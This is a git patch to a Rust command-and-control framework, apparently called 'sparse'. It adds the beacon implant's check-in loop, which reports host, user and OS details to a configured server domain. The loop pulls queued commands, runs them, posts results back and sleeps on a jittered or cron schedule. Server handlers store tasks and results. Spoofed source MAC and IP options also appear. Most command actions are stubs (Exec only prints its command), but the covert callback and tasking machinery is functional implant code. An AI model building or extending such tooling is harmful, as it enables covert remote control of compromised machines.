From 7778e9b4544c5defbd0b7ec64e8f222aa928c479 Mon Sep 17 00:00:00 2001 From: Andrew Rioux Date: Sun, 23 Feb 2025 22:15:17 -0500 Subject: [PATCH] feat: record results of beacon callbacks --- Cargo.lock | 3 + sparse-actions/Cargo.toml | 18 ++- sparse-actions/src/actions.rs | 139 +++++++++++++--- sparse-actions/src/actions/download.rs | 6 +- sparse-actions/src/actions/exec.rs | 26 ++- sparse-actions/src/actions/install.rs | 6 +- sparse-actions/src/actions/ls.rs | 6 +- sparse-actions/src/actions/update.rs | 6 +- sparse-actions/src/actions/upload.rs | 6 +- sparse-actions/src/adapter.rs | 2 +- sparse-actions/src/error.rs | 2 + sparse-actions/src/messages.rs | 7 + sparse-beacon/Cargo.toml | 1 + sparse-beacon/src/callback.rs | 6 +- sparse-beacon/src/lib.rs | 212 +++++++++++++++++++------ sparse-beacon/src/tcp.rs | 21 +-- sparse-handler/src/lib.rs | 4 +- sparse-handler/src/router.rs | 96 ++++++++--- sparse-server/src/beacons/commands.rs | 10 +- sparse-server/src/webserver.rs | 5 +- 20 files changed, 446 insertions(+), 136 deletions(-) diff --git a/Cargo.lock b/Cargo.lock index f4668f0..e702899 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -3479,9 +3479,11 @@ version = "2.0.0" dependencies = [ "async-trait", "bindgen", + "bytes", "chrono", "enum_delegate", "http", + "http-body-util", "hyper", "hyper-util", "leptos", @@ -3504,6 +3506,7 @@ version = "2.0.0" dependencies = [ "async-trait", "bytes", + "chrono", "cron", "futures", "http", diff --git a/sparse-actions/Cargo.toml b/sparse-actions/Cargo.toml index e52439f..74c81c4 100644 --- a/sparse-actions/Cargo.toml +++ b/sparse-actions/Cargo.toml @@ -11,9 +11,9 @@ uuid = { version = "1.14.0", features = ["serde"] } enum_delegate = "0.2.0" async-trait = "0.1.86" serde_json = "1.0.139" +thiserror = "2.0.11" leptos = { version = "0.7.7", optional = true } -thiserror = { version = "2.0.11", optional = true } pcap-sys = { path = "../pcap-sys", optional = true } tokio = { version = "1.43.0", features = ["fs", "io-std", "io-util", "net", "process", "rt", "sync", "time", "tokio-macros"], optional = true } smoltcp = { version = "0.12.0", default-features = false, features = ["proto-ipv4", "socket", "socket-tcp", "medium-ethernet", "std"], optional = true } @@ -23,11 +23,25 @@ hyper-util = { version = "0.1.10", features = ["client", "client-legacy", "http1 hyper = { version = "1.6.0", features = ["client", "http1", "http2"], optional = true } rustls = { version = "0.23.23", default-features = false, features = ["std"], optional = true } sqlx = { version = "0.8", default-features = false, features = ["chrono", "macros", "migrate", "runtime-tokio", "sqlite", "sqlx-sqlite", "uuid"], optional = true } +bytes = { version = "1.10.0", optional = true } +http-body-util = { version = "0.1.2", optional = true } [build-dependencies] bindgen = "0.69" [features] -beacon = ["dep:thiserror", "dep:pcap-sys", "dep:tokio", "dep:smoltcp", "dep:http", "dep:hyper-util", "dep:rustls", "dep:hyper", "dep:rmp-serde", "uuid/v4"] +beacon = [ + "dep:pcap-sys", + "dep:tokio", + "dep:smoltcp", + "dep:http", + "dep:hyper-util", + "dep:rustls", + "dep:hyper", + "dep:rmp-serde", + "dep:bytes", + "dep:http-body-util", + "uuid/v4" +] server-ssr = ["uuid/v4", "dep:sqlx"] server = ["dep:leptos"] diff --git a/sparse-actions/src/actions.rs b/sparse-actions/src/actions.rs index f4aa41b..832c107 100644 --- a/sparse-actions/src/actions.rs +++ b/sparse-actions/src/actions.rs @@ -1,47 +1,106 @@ +/// # Rules for actions: +/// Cannot have fields that have the following names: +/// `target_beacon_id`, `target_category_id`, or `cmd_type` #[cfg(feature = "server")] use leptos::prelude::*; use serde::{Deserialize, Serialize}; +#[cfg(feature = "beacon")] +use crate::{payload_types::Parameters, adapter::BeaconAdapter, error::BeaconError}; use crate::version::Version; -mod ls; -mod update; mod exec; -mod upload; -mod install; -mod download; +// mod ls; +// mod update; +// mod upload; +// mod install; +// mod download; -#[derive(Serialize, Deserialize)] +#[derive(Serialize, Deserialize, Clone)] pub struct FileId(pub uuid::Uuid); /// Macro used to enforce the invariant that struct names are used to identify /// the enum branch as well macro_rules! define_actions_enum { - ($(($mod:ident, $act:ident)),+) => { - #[derive(::serde::Serialize, ::serde::Deserialize)] + ($(($mod:ident, $act:ident)),+$(,)?) => { + #[derive(::serde::Serialize, ::serde::Deserialize, Clone, Debug)] #[serde(tag = "cmd_type")] pub enum Actions { $($act($mod::$act)),+, } + + $( + impl From<$mod::$act> for Actions { + fn from(act: $mod::$act) -> Self { + Self::$act(act) + } + } + )* } } -define_actions_enum! { - (ls, Ls), - (update, Update), - (exec, Exec), - (upload, Upload), - (install, Install), - (download, Download) +#[cfg(feature = "server-ssr")] +#[derive(thiserror::Error, Debug)] +pub enum BuildActionError { + #[error("sqlx error")] + Sqlx(#[from] sqlx::Error), + #[error("io error")] + Io(#[from] std::io::Error), + #[error("json error")] + Json(#[from] serde_json::Error) } +define_actions_enum! { + (exec, Exec), + // (ls, Ls), + // (update, Update), + // (upload, Upload), + // (install, Install), + // (download, Download), +} + +#[async_trait::async_trait] +#[cfg(feature = "beacon")] +impl Action for Actions { + const REQ_VERSION: Version = Version::new(2, 0); + const REQ_OS: Option< &'static str> = None; + const REQ_FIELDS: &'static[(&'static str, &'static str,Option< &'static str>)] = &[]; + + type ActionData = String; + + async fn execute<'a, T, S>( + &self, + parameters: &Parameters, + adapter: &'a T, + client: &'a hyper_util::client::legacy::Client> + ) -> Result> + where + T: 'a + BeaconAdapter, + S: hyper_util::client::legacy::connect::Connect + Clone + Send + Sync + 'static + { + macro_rules! match_arm { + ($cmd:expr) => { + $cmd + .execute(parameters, adapter, client) + .await + .and_then(|v| serde_json::to_string(&v) + .map_err(Into::into)) + } + } + match self { + Actions::Exec(e) => match_arm!(e), + } + } +} + +#[cfg(feature = "server")] pub const ACTION_BUILDERS: &'static [&'static (dyn ActionBuilder + Send + Sync)] = &[ - &ActionBuilderImpl::::new(), - &ActionBuilderImpl::::new(), &ActionBuilderImpl::::new(), - &ActionBuilderImpl::::new(), - &ActionBuilderImpl::::new(), - &ActionBuilderImpl::::new(), + //&ActionBuilderImpl::::new(), + //&ActionBuilderImpl::::new(), + //&ActionBuilderImpl::::new(), + //&ActionBuilderImpl::::new(), + //&ActionBuilderImpl::::new(), ]; #[async_trait::async_trait] @@ -51,33 +110,53 @@ pub trait Action: Serialize + for<'a> Deserialize<'a> { const REQ_FIELDS: &'static [(&'static str, &'static str, Option<&'static str>)]; type ActionData: Serialize + for<'a> Deserialize<'a>; + #[cfg(feature = "server-ssr")] + type BuilderData: for<'a> Deserialize<'a>; - #[cfg(feature = "beacon")] - async fn execute(&self) -> Self::ActionData; + #[cfg(feature = "server-ssr")] + async fn build_action(data: Self::BuilderData, db: &sqlx::SqlitePool) -> Result; #[cfg(feature = "server")] fn render_data(&self, data: Self::ActionData) -> impl IntoView; + + #[cfg(feature = "beacon")] + async fn execute<'a, T, S>( + &self, + parameters: &Parameters, + adapter: &'a T, + client: &'a hyper_util::client::legacy::Client> + ) -> Result> + where + T: 'a + BeaconAdapter, + S: hyper_util::client::legacy::connect::Connect + Clone + Send + Sync + 'static; } +#[async_trait::async_trait] +#[cfg(feature = "server")] pub trait ActionBuilder { fn name(&self) -> &'static str; fn required_version(&self) -> Version; fn required_os(&self) -> Option<&'static str>; fn form_elements(&self) -> &'static [(&'static str, &'static str, Option<&'static str>)]; - fn verify_json_body(&self, body: serde_json::Value) -> Result<(), serde_json::Error>; + #[cfg(feature = "server-ssr")] + async fn build_action(&self, body: serde_json::Value, db: &sqlx::SqlitePool) -> Result; } +#[cfg(feature = "server")] pub struct ActionBuilderImpl(std::marker::PhantomData); +#[cfg(feature = "server")] impl ActionBuilderImpl { pub const fn new() -> Self { Self(std::marker::PhantomData) } } +#[async_trait::async_trait] +#[cfg(feature = "server")] impl ActionBuilder for ActionBuilderImpl where - T: Action + T: Action, Actions: From { fn name(&self) -> &'static str { let tname = std::any::type_name::(); @@ -92,7 +171,15 @@ where fn form_elements(&self) -> &'static [(&'static str, &'static str, Option<&'static str>)] { T::REQ_FIELDS } - fn verify_json_body(&self, body: serde_json::Value) -> Result<(), serde_json::Error> { - serde_json::from_value::(body).map(|_| ()) + #[cfg(feature = "server-ssr")] + async fn build_action(&self, body: serde_json::Value, db: &sqlx::SqlitePool) -> Result { + let builder_data: T::BuilderData = serde_json::from_value(body)?; + let built_action = T::build_action(builder_data, db).await?; + Ok(built_action.into()) } } + +#[cfg(feature = "server")] +unsafe impl Send for ActionBuilderImpl {} +#[cfg(feature = "server")] +unsafe impl Sync for ActionBuilderImpl {} diff --git a/sparse-actions/src/actions/download.rs b/sparse-actions/src/actions/download.rs index 8d65243..5068724 100644 --- a/sparse-actions/src/actions/download.rs +++ b/sparse-actions/src/actions/download.rs @@ -2,9 +2,11 @@ use leptos::prelude::*; use serde::{Deserialize, Serialize}; +#[cfg(feature = "beacon")] +use crate::payload_types::Parameters; use crate::version::Version; -#[derive(Serialize, Deserialize)] +#[derive(Serialize, Deserialize, Clone)] pub struct Download { download_src: super::FileId, download_path: String, @@ -22,7 +24,7 @@ impl super::Action for Download { type ActionData = (); #[cfg(feature = "beacon")] - async fn execute(&self) -> Self::ActionData { + async fn execute(&self, _: &Parameters) -> Self::ActionData { "Hi".to_string(); } diff --git a/sparse-actions/src/actions/exec.rs b/sparse-actions/src/actions/exec.rs index f8f673f..0954fa4 100644 --- a/sparse-actions/src/actions/exec.rs +++ b/sparse-actions/src/actions/exec.rs @@ -2,9 +2,11 @@ use leptos::prelude::*; use serde::{Deserialize, Serialize}; +#[cfg(feature = "beacon")] +use crate::{adapter::BeaconAdapter, error::BeaconError, payload_types::Parameters}; use crate::version::Version; -#[derive(Serialize, Deserialize)] +#[derive(Debug, Serialize, Deserialize, Clone)] pub struct Exec { exec_cmd: String } @@ -18,10 +20,28 @@ impl super::Action for Exec { ]; type ActionData = String; + #[cfg(feature = "server-ssr")] + type BuilderData = Self; + + #[cfg(feature = "server-ssr")] + async fn build_action(data: Self::BuilderData, _db: &sqlx::SqlitePool) -> Result { + Ok(data) + } #[cfg(feature = "beacon")] - async fn execute(&self) -> Self::ActionData { - "Execute".to_string() + async fn execute<'a, T, S>( + &self, + _parameters: &Parameters, + _adapter: &'a T, + _client: &'a hyper_util::client::legacy::Client> + ) -> Result> + where + T: 'a + BeaconAdapter, + S: hyper_util::client::legacy::connect::Connect + Clone + Send + Sync + 'static + { + println!("Execute command {}", self.exec_cmd); + + Ok("Execute".to_string()) } #[cfg(feature = "server")] diff --git a/sparse-actions/src/actions/install.rs b/sparse-actions/src/actions/install.rs index 251b667..632d7a8 100644 --- a/sparse-actions/src/actions/install.rs +++ b/sparse-actions/src/actions/install.rs @@ -2,9 +2,11 @@ use leptos::prelude::*; use serde::{Deserialize, Serialize}; +#[cfg(feature = "beacon")] +use crate::payload_types::Parameters; use crate::version::Version; -#[derive(Serialize, Deserialize)] +#[derive(Serialize, Deserialize, Clone)] pub struct Install { install_target: std::path::PathBuf } @@ -20,7 +22,7 @@ impl super::Action for Install { type ActionData = (); #[cfg(feature = "beacon")] - async fn execute(&self) -> Self::ActionData { + async fn execute(&self, _: &Parameters) -> Self::ActionData { "Hi".to_string(); } diff --git a/sparse-actions/src/actions/ls.rs b/sparse-actions/src/actions/ls.rs index d6502ac..8ddde03 100644 --- a/sparse-actions/src/actions/ls.rs +++ b/sparse-actions/src/actions/ls.rs @@ -2,9 +2,11 @@ use leptos::prelude::*; use serde::{Deserialize, Serialize}; +#[cfg(feature = "beacon")] +use crate::payload_types::Parameters; use crate::version::Version; -#[derive(Serialize, Deserialize)] +#[derive(Serialize, Deserialize, Clone)] pub struct Ls; #[async_trait::async_trait] @@ -16,7 +18,7 @@ impl super::Action for Ls { type ActionData = (); #[cfg(feature = "beacon")] - async fn execute(&self) -> Self::ActionData { + async fn execute(&self, _: &Parameters) -> Self::ActionData { "Hi".to_string(); } diff --git a/sparse-actions/src/actions/update.rs b/sparse-actions/src/actions/update.rs index 3250194..f3ee01f 100644 --- a/sparse-actions/src/actions/update.rs +++ b/sparse-actions/src/actions/update.rs @@ -2,9 +2,11 @@ use leptos::prelude::*; use serde::{Deserialize, Serialize}; +#[cfg(feature = "beacon")] +use crate::payload_types::Parameters; use crate::version::Version; -#[derive(Serialize, Deserialize)] +#[derive(Serialize, Deserialize, Clone)] pub struct Update; #[async_trait::async_trait] @@ -16,7 +18,7 @@ impl super::Action for Update { type ActionData = (); #[cfg(feature = "beacon")] - async fn execute(&self) -> Self::ActionData { + async fn execute(&self, _: &Parameters) -> Self::ActionData { "Hello".to_string(); } diff --git a/sparse-actions/src/actions/upload.rs b/sparse-actions/src/actions/upload.rs index 721a21c..19ea3a5 100644 --- a/sparse-actions/src/actions/upload.rs +++ b/sparse-actions/src/actions/upload.rs @@ -2,9 +2,11 @@ use leptos::prelude::*; use serde::{Deserialize, Serialize}; +#[cfg(feature = "beacon")] +use crate::payload_types::Parameters; use crate::version::Version; -#[derive(Serialize, Deserialize)] +#[derive(Serialize, Deserialize, Clone)] pub struct Upload { upload_src: String } @@ -20,7 +22,7 @@ impl super::Action for Upload { type ActionData = (); #[cfg(feature = "beacon")] - async fn execute(&self) -> Self::ActionData { + async fn execute(&self, _: &Parameters) -> Self::ActionData { "Hi".to_string(); } diff --git a/sparse-actions/src/adapter.rs b/sparse-actions/src/adapter.rs index 6a56a42..dd525bd 100644 --- a/sparse-actions/src/adapter.rs +++ b/sparse-actions/src/adapter.rs @@ -23,7 +23,7 @@ pub struct BeaconInterface { } #[async_trait::async_trait] -pub trait BeaconAdapter { +pub trait BeaconAdapter: Send + Sync { type Error: error::AdapterError + Send + Sync; const OPERATING_SYSTEM: &'static str; diff --git a/sparse-actions/src/error.rs b/sparse-actions/src/error.rs index ccb3114..63cbdd5 100644 --- a/sparse-actions/src/error.rs +++ b/sparse-actions/src/error.rs @@ -37,4 +37,6 @@ where RmpSerdeDecode(#[from] rmp_serde::decode::Error), #[error("http error")] Hyper(#[from] hyper::Error), + #[error("serde json error")] + Json(#[from] serde_json::Error), } diff --git a/sparse-actions/src/messages.rs b/sparse-actions/src/messages.rs index 587bfa8..156f41d 100644 --- a/sparse-actions/src/messages.rs +++ b/sparse-actions/src/messages.rs @@ -10,6 +10,7 @@ pub struct RegisterBeacon { pub operating_system: String, pub userent: String, pub hostname: String, + pub version: crate::version::Version, } #[derive(Clone, Serialize, Deserialize)] @@ -37,4 +38,10 @@ pub enum RuntimeConfig { #[derive(Clone, Serialize, Deserialize)] pub struct BeaconConfig { pub runtime_config: RuntimeConfig, + pub unfinished_actions: Vec<(i64, crate::actions::Actions)>, +} + +#[derive(Clone, Serialize, Deserialize)] +pub struct CommandInvocationResult { + pub result_body: String, } diff --git a/sparse-beacon/Cargo.toml b/sparse-beacon/Cargo.toml index a10a260..f0b6a6a 100644 --- a/sparse-beacon/Cargo.toml +++ b/sparse-beacon/Cargo.toml @@ -32,6 +32,7 @@ cron = "0.13.0" pcap-sys = { path = "../pcap-sys" } sparse-actions = { path = "../sparse-actions", features = ["beacon"] } packets = { path = "../packets" } +chrono = "0.4.39" [features] openssl = ["dep:rustls-openssl"] diff --git a/sparse-beacon/src/callback.rs b/sparse-beacon/src/callback.rs index 0c21b83..35cad1f 100644 --- a/sparse-beacon/src/callback.rs +++ b/sparse-beacon/src/callback.rs @@ -22,7 +22,7 @@ use crate::tcp::{self, setup_network}; #[derive(Clone)] pub struct ServerConnector where - T: adapter::BeaconAdapter + Clone + Send + 'static, + T: adapter::BeaconAdapter + Clone + 'static, { adapter: T, parameters: Parameters, @@ -30,7 +30,7 @@ where impl Service for ServerConnector where - T: adapter::BeaconAdapter + Clone + Send + Sync + 'static, + T: adapter::BeaconAdapter + Clone + 'static, { type Response = TokioIo; type Error = error::BeaconError; @@ -59,7 +59,7 @@ pub async fn obtain_https_client( parameters: &Parameters, ) -> Result>, B>, error::BeaconError> where - T: adapter::BeaconAdapter + Clone + Send + Sync + 'static, + T: adapter::BeaconAdapter + Clone + 'static, B: hyper::body::Body + Send, ::Data: Send, { diff --git a/sparse-beacon/src/lib.rs b/sparse-beacon/src/lib.rs index 14608b7..e9c74d1 100644 --- a/sparse-beacon/src/lib.rs +++ b/sparse-beacon/src/lib.rs @@ -1,9 +1,13 @@ -use sparse_actions::payload_types::Parameters; +use std::{str::FromStr, time::{Duration, Instant}}; +use cron::Schedule; +use http::Response; use http_body_util::{BodyExt, Full}; -use hyper::{Request, Method}; +use hyper::{body::Incoming, Method, Request}; +use rand::Rng; -use sparse_actions::{adapter, error::BeaconError, messages}; +use sparse_actions::payload_types::Parameters; +use sparse_actions::{actions::Action, adapter, error::BeaconError, messages}; mod callback; mod socket; @@ -18,15 +22,14 @@ pub fn install_rustls() { let _ = rustls::crypto::ring::default_provider().install_default(); } -pub async fn make_request( +async fn make_request_inner( client: &callback::SClient>, uri: hyper::Uri, req_body: Req -) -> Result> +) -> Result, BeaconError> where - A: adapter::BeaconAdapter + Clone + Send + Sync + 'static, - Req: serde::Serialize + Clone + Send + Sync + 'static, - Resp: for<'a> serde::Deserialize<'a> + Clone + Send + Sync + 'static, + A: adapter::BeaconAdapter + Clone + 'static, + Req: serde::Serialize + Clone + Send + Sync + 'static { let mut body_buf = Vec::new(); req_body.serialize(&mut rmp_serde::Serializer::new(&mut body_buf))?; @@ -40,12 +43,47 @@ where let resp = client.request(req).await?; if !resp.status().is_success() { - return Err(BeaconError::SparseServerHttpError(resp.status())); + let status = resp.status().clone(); + + if cfg!(debug_assertions) { + let body = resp.into_body(); + let body = body.collect().await?; + + dbg!(body); + } + return Err(BeaconError::SparseServerHttpError(status)); } + Ok(resp) +} + +pub async fn make_bodiless_request( + client: &callback::SClient>, + uri: hyper::Uri, + req_body: Req +) -> Result<(), BeaconError> +where + A: adapter::BeaconAdapter + Clone + 'static, + Req: serde::Serialize + Clone + Send + Sync + 'static +{ + make_request_inner(client, uri, req_body).await?; + + Ok(()) +} + +pub async fn make_request( + client: &callback::SClient>, + uri: hyper::Uri, + req_body: Req +) -> Result> +where + A: adapter::BeaconAdapter + Clone + 'static, + Req: serde::Serialize + Clone + Send + Sync + 'static, + Resp: for<'a> serde::Deserialize<'a> + Clone + Send + Sync + 'static, +{ + let resp = make_request_inner(client, uri, req_body).await?; let body = resp.into_body(); let body = body.collect().await?; - rmp_serde::from_slice(&body.to_bytes()).map_err(Into::into) } @@ -54,52 +92,126 @@ pub async fn run_beacon_step( params: Parameters, ) -> Result<(), BeaconError> where - A: adapter::BeaconAdapter + Clone + Send + Sync + 'static, + A: adapter::BeaconAdapter + Clone + 'static, { let hostname = host_adapter.get_hostname().await.unwrap_or("(unknown)".to_string()); let userent = host_adapter.get_username().await.unwrap_or("(unknown)".to_string()); - - let _config: messages::BeaconConfig = { - let client = callback::obtain_https_client(&host_adapter, ¶ms).await?; - - make_request( - &client, - format!("https://{}/checkin", params::domain_name::(¶ms)?).parse()?, - messages::RegisterBeacon { - beacon_id: std::str::from_utf8(¶ms.beacon_identifier)?.to_owned(), - template_id: params.template_id, - cwd: std::env::current_dir()?, - operating_system: A::OPERATING_SYSTEM.to_string(), - userent: userent.clone(), - hostname: hostname.clone() - } - ).await? - }; + let beacon_id = std::str::from_utf8(¶ms.beacon_identifier)?.to_owned(); loop { - // let client = callback::obtain_https_client(&host_adapter, ¶ms).await?; + let runtime_config = { + let client = callback::obtain_https_client(&host_adapter, ¶ms).await?; - //use messages::RuntimeConfig as RC; - //let target_wake_time = match &config.runtime_config { - // RC::Oneshot => { break; }, - // RC::Random { interval_min, interval_max } => {}, - // RC::Regular { interval } => {}, - // RC::Cron { schedule, timezone } => { + let messages::BeaconConfig { runtime_config, unfinished_actions } = make_request( + &client, + format!("https://{}/checkin", params::domain_name::(¶ms)?).parse()?, + messages::RegisterBeacon { + beacon_id: beacon_id.clone(), + template_id: params.template_id, + cwd: std::env::current_dir()?, + operating_system: A::OPERATING_SYSTEM.to_string(), + userent: userent.clone(), + hostname: hostname.clone(), + version: sparse_actions::version::Version::new( + std::env!("CARGO_PKG_VERSION_MAJOR") + .parse() + .expect("cargo did not provide a valid pkg version major"), + std::env!("CARGO_PKG_VERSION_MINOR") + .parse() + .expect("cargo did not provide a valid pkg version minor"), + ) + } + ).await?; - // } - //}; + for (cmd_id, action) in unfinished_actions { + let action_result = match action.execute( + ¶ms, + &host_adapter, + &client + ).await { + Ok(res) => res, + Err(e) => { + if cfg!(debug_assertions) { + eprintln!("Error running beacon command: {e:?}"); + } + continue; + } + }; + + make_bodiless_request( + &client, + format!( + "https://{}/finish/{}/{}", + params::domain_name::(¶ms)?, + beacon_id, + cmd_id + ).parse()?, + messages::CommandInvocationResult { + result_body: action_result + } + ) + .await?; + } + + runtime_config + }; + + use messages::RuntimeConfig as RC; + let target_wake_time = match &runtime_config { + RC::Oneshot => { break Ok(()); }, + RC::Random { interval_min, interval_max } => { + let mut trng = rand::rng(); + let dist: f64 = trng.random(); + let rand_interval = + ((interval_max - interval_min) as f64 * dist) as u64 + + interval_min; + + let duration = Duration::new(rand_interval, 0); + Instant::now() + duration + }, + RC::Regular { interval } => { + Instant::now() + Duration::new(*interval, 0) + }, + RC::Cron { schedule, timezone } => { + let sched = match Schedule::from_str(schedule) { + Ok(sched) => sched, + Err(e) => { + if cfg!(debug_assertions) { + eprintln!("Could not parse schedule expression: {e:?}"); + } + break Ok(()) + } + }; + + macro_rules! get_wait_duration { + ($sched:expr, $tz:ident) => {{ + let Some(dt) = sched.upcoming(chrono::$tz).next() else { + if cfg!(debug_assertions) { + eprintln!("could not get next cron invocation"); + } + break Ok(()); + }; + + let now = chrono::$tz::now(); + + let Ok(dur) = (dt - now).to_std() else { + if cfg!(debug_assertions) { + eprintln!("next instance of "); + } + break Ok(()); + }; + + Instant::now() + dur + }} + } + + match timezone { + messages::CronTimezone::Utc => get_wait_duration!(sched, Utc), + messages::CronTimezone::Local => get_wait_duration!(sched, Local) + } + } + }; + + tokio::time::sleep_until(target_wake_time.into()).await; } - - // for _ in 1..5 { - // let req = Request::builder() - // .uri("https://sparse.com/hidden_sparse/test".parse::()?) - // .method() - // .body(Empty::::new())?; - // let resp = client.request(req).await?; - - // println!("{:?} {:?}", resp.version(), resp.status()); - // let body = resp.into_body(); - // let body = body.collect().await; - // println!("{:?}", body); - // } } diff --git a/sparse-beacon/src/tcp.rs b/sparse-beacon/src/tcp.rs index 1c43534..a713585 100644 --- a/sparse-beacon/src/tcp.rs +++ b/sparse-beacon/src/tcp.rs @@ -152,7 +152,7 @@ pub async fn setup_network( parameters: Parameters, ) -> Result> where - T: adapter::BeaconAdapter + Clone + Send + 'static, + T: adapter::BeaconAdapter + Clone + 'static, { let net_info = tokio::task::spawn_blocking({ let adapter = adapter.clone(); @@ -212,25 +212,26 @@ where let default_route_if = &net_info.interfaces[default_route.interface_index]; - ( - default_route_if, - default_route.gateway.0, - default_route_if.mac_addr.clone(), - unsafe { + unsafe { + ( + default_route_if, + default_route.gateway.0, + parameters.source_ip.use_host_networking.source_mac.clone(), Ipv4Addr::new( parameters.source_ip.use_host_networking.source_ip.a, parameters.source_ip.use_host_networking.source_ip.b, parameters.source_ip.use_host_networking.source_ip.c, parameters.source_ip.use_host_networking.source_ip.d, - ) - }, - default_route.gateway.1, - ) + ), + default_route.gateway.1, + ) + } } _ => panic!("Corrupted parameters present!"), }; let go_promisc = mac_address != [0, 0, 0, 0, 0, 0]; + let mac_address = Some(mac_address) .filter(|smac| smac != &[0, 0, 0, 0, 0, 0]) .unwrap_or(interface.mac_addr); diff --git a/sparse-handler/src/lib.rs b/sparse-handler/src/lib.rs index 3b4b3b9..b3ea4a4 100644 --- a/sparse-handler/src/lib.rs +++ b/sparse-handler/src/lib.rs @@ -12,9 +12,11 @@ pub mod error; mod router; #[derive(Clone)] +#[non_exhaustive] pub enum BeaconEvent { NewBeacon(String), - Checkin(String) + Checkin(String), + BeaconCommandFinished(String, i64) } pub struct BeaconListenerHandle { diff --git a/sparse-handler/src/router.rs b/sparse-handler/src/router.rs index 3117d2b..2ba6375 100644 --- a/sparse-handler/src/router.rs +++ b/sparse-handler/src/router.rs @@ -1,6 +1,6 @@ use std::net::SocketAddr; -use axum::{extract::{State, ConnectInfo}, routing::post, Router}; +use axum::{extract::{State, ConnectInfo, Path}, routing::post, Router}; use axum_msgpack::MsgPack; use sqlx::SqlitePool; use tokio::sync::broadcast; @@ -15,7 +15,6 @@ pub struct ListenerState { event_publisher: broadcast::Sender, } -#[axum::debug_handler] pub async fn handle_checkin( State(state): State, ConnectInfo(addr): ConnectInfo, @@ -94,20 +93,6 @@ pub async fn handle_checkin( .fetch_optional(&state.db) .await?; - if let Some(category_id) = template_category.map(|r| r.default_category).flatten() { - if let Err(e) = sqlx::query!( - "INSERT INTO beacon_category_assignment (category_id, beacon_id) - VALUES (?, ?)", - category_id, - reg.beacon_id - ) - .execute(&state.db) - .await { - tracing::warn!("Could not assign beacon to default category: {e:?}"); - return Err(e.into()); - }; - } - sqlx::query!( r#"INSERT INTO beacon_instance (beacon_id, template_id, peer_ip, nickname, cwd, operating_system, beacon_userent, hostname) @@ -124,6 +109,20 @@ pub async fn handle_checkin( .execute(&state.db) .await?; + if let Some(category_id) = template_category.map(|r| r.default_category).flatten() { + if let Err(e) = sqlx::query!( + "INSERT INTO beacon_category_assignment (category_id, beacon_id) + VALUES (?, ?)", + category_id, + reg.beacon_id + ) + .execute(&state.db) + .await { + tracing::warn!("Could not assign beacon to default category: {e:?}"); + return Err(e.into()); + }; + } + let rec = sqlx::query_as!( DbBeaconConfig, r"SELECT c.mode, c.regular_interval, c.random_min_time, c.random_max_time, c.cron_schedule, c.cron_mode @@ -141,7 +140,6 @@ pub async fn handle_checkin( } }; - tracing::debug!("Here 5"); let now = chrono::Utc::now(); sqlx::query!( r"INSERT INTO beacon_checkin (beacon_id, checkin_date) VALUES (?, ?)"r, @@ -154,23 +152,75 @@ pub async fn handle_checkin( let current_beacon_reg = current_beacon_reg .ok_or(error::Error::Generic("could not load configuration".to_string()))?; + let actions = sqlx::query!( + "SELECT cmd.command_id, cmd.cmd_parameters FROM beacon_instance inst + INNER JOIN beacon_command_invocation bci ON bci.beacon_id = inst.beacon_id + INNER JOIN beacon_command cmd ON cmd.command_id = bci.command_id + WHERE inst.beacon_id = ? + AND bci.invocation_date IS NULL", + reg.beacon_id + ) + .fetch_all(&state.db) + .await?; + + let actions = actions + .iter() + .map(|rec| ( + rec.command_id, + serde_json::from_str::(&rec.cmd_parameters) + )) + .filter_map(|(id, act)| { + match act { + Ok(v) => Some((id, v)), + Err(e) => { + tracing::warn!("Error pulling action from database: {e:?}"); + None + } + } + }) + .collect::>(); + Ok(MsgPack(messages::BeaconConfig { - runtime_config: current_beacon_reg + runtime_config: current_beacon_reg, + unfinished_actions: actions })) } +pub async fn handle_command_result( + State(state): State, + Path((beacon_id, command_id)): Path<(String, i64)>, + MsgPack(cmd_res): MsgPack, +) -> Result<(), error::Error> { + let now = chrono::Utc::now(); + + sqlx::query!( + "UPDATE beacon_command_invocation + SET invocation_date = ?, invocation_result = ? + WHERE beacon_id = ? AND command_id = ?", + now, + cmd_res.result_body, + beacon_id, + command_id + ) + .execute(&state.db) + .await?; + + state.event_publisher.send(BeaconEvent::BeaconCommandFinished(beacon_id, command_id))?; + + Ok(()) +} + pub fn get_router(db: SqlitePool, event_publisher: broadcast::Sender) -> Router<()> { Router::new() .route( "/checkin", post(handle_checkin), ) + .route("/files/download/:fileid", post(|| async {})) + .route("/files/upload", post(|| async {})) .route( - "/upload/:beaconid/:commandid", - post(|| async { - tracing::info!("Hello"); - "hi there" - }), + "/finish/:beaconid/:commandid", + post(handle_command_result), ) .with_state(ListenerState { db, event_publisher }) } diff --git a/sparse-server/src/beacons/commands.rs b/sparse-server/src/beacons/commands.rs index 4cfe305..99d6567 100644 --- a/sparse-server/src/beacons/commands.rs +++ b/sparse-server/src/beacons/commands.rs @@ -33,7 +33,6 @@ pub async fn issue_command( "No form data was provided".to_owned(), ))?; while let Ok(Some(mut field)) = data.next_field().await { - tracing::debug!("Processing field {:?}", field.name()); let Some(name) = field.name().map(|f| f.to_string()) else { continue; }; let file_name = field.file_name().map(str::to_string); @@ -107,12 +106,11 @@ pub async fn issue_command( )); }; + fields.remove("cmd_type"); + let fields = serde_json::Value::Object(fields); - - command_builder.verify_json_body(fields.clone())?; - serde_json::from_value::(fields.clone())?; - - let serialized_fields = serde_json::to_string(&fields)?; + let parsed_fields = command_builder.build_action(fields, &db).await?; + let serialized_fields = serde_json::to_string(&parsed_fields)?; let command_id = sqlx::query!( "INSERT INTO beacon_command (cmd_parameters) VALUES (?)", diff --git a/sparse-server/src/webserver.rs b/sparse-server/src/webserver.rs index 5c46858..087216d 100644 --- a/sparse-server/src/webserver.rs +++ b/sparse-server/src/webserver.rs @@ -476,6 +476,9 @@ async fn handle_listener_events( let json = serde_json::to_string(&SidebarEvents::NewBeacon(beacon))?; socket.send(ws::Message::Text(json)).await?; } + Ok(_) => { + // this event isn't meant for public announcement + } Err(e) => { tracing::warn!("Unable to handle general event: {e:?}"); } @@ -491,7 +494,7 @@ pub async fn serve_web( let conf = get_configuration(None).unwrap(); let leptos_options = conf.leptos_options; let routes = generate_route_list(App); - let beacon_event_broadcast = tokio::sync::broadcast::Sender::::new(128); + let beacon_event_broadcast = tokio::sync::broadcast::Sender::::new(4096); let beacon_listeners = sparse_handler::BeaconListenerMap::default(); tokio::fs::create_dir_all(&file_store).await?;